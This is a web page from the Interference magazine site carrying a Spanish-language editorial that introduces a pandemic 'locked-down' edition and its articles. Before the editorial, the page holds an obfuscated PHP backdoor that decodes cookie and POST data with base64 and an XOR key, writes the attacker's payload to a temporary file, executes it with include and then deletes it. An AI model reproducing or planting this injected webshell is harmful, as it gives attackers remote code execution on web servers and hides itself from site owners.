$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> LA (¿primera?) EDICIÓN ENCERRADA – www.interferencechannel.com

LA (¿primera?) EDICIÓN ENCERRADA




La pandemia nos ha cambiado la vida, es innegable. Además de exponer en carne viva las profundas brechas de inequidad que separan la sociedad colombiana e internacional, estar recluídos en nuestros hogares separados de l@s que amamos y probablemente sin mucho que hacer, nos ha confrontado de golpe con nuestra realidad interior: la zozobra que genera hoy el mañana, acentuada por la constante (y tal vez inevitable) insistencia de los medios de comunicación sobre el virus y las letales cifras que deja su paseo sobre la faz de la tierra.

Aceptar en una época como la actual, la dirección editorial de un medio independiente y alternativo como Interference, supone un enorme reto y una gigante alegría para mí, me obliga a reflexionar sobre el contenido que los medios distribuyen a su audiencia: por supuesto que es importante conocer el número de infectados, de fallecidos, de recuperados, el sobrecosto en los contratos estatales y el contenido de los 50 decretos presidenciales diarios que reglamentan la coyuntura, sin embargo, con tal saturación en la cabeza, es fácil pasar por alto las sutilezas del fascismo y las hipocresías del comunismo, olvidar lo ridículo del centralismo y tolerar sin cuestionar el autoritarismo. Desde Interference nos proponemos interrumpir la saturación con miradas distintas, críticas y esperanzadoras; pretendemos generar una comunidad que reconozca el arte y la cooperación como la única salvación, que escuche todas las posturas de forma crítica pero no violenta, que busque la paz y el amor.

En esta edición encerrada, nuestr@s colaboradores han reflexionado sobre la coyuntura actual de pandemia y encierro: les presentamos consideraciones sobre el maltrato intrafamiliar y el terror del encierro; una entrevista al premio Cervantes de 2017, Sergio Ramirez; el horror de la doble cuarentena del pueblo Wounan; precisiones sobre las políticas económicas tomadas por el gobierno; un resistente relato sobre el virus en el país hermano de Venezuela; la continuación del hermoso retrato imperfecto del silencio y una presentación del enorme Andrés de Santamaría. Si bien añoramos tanto como tú salir a abrazar a l@s que amamos, desde Interference te invitamos a quedarte en casa, nos hemos propuesto saltar los muros que nos encierran y compartir algo de esperanza crítica en estos tiempos complicados.

Comments are closed.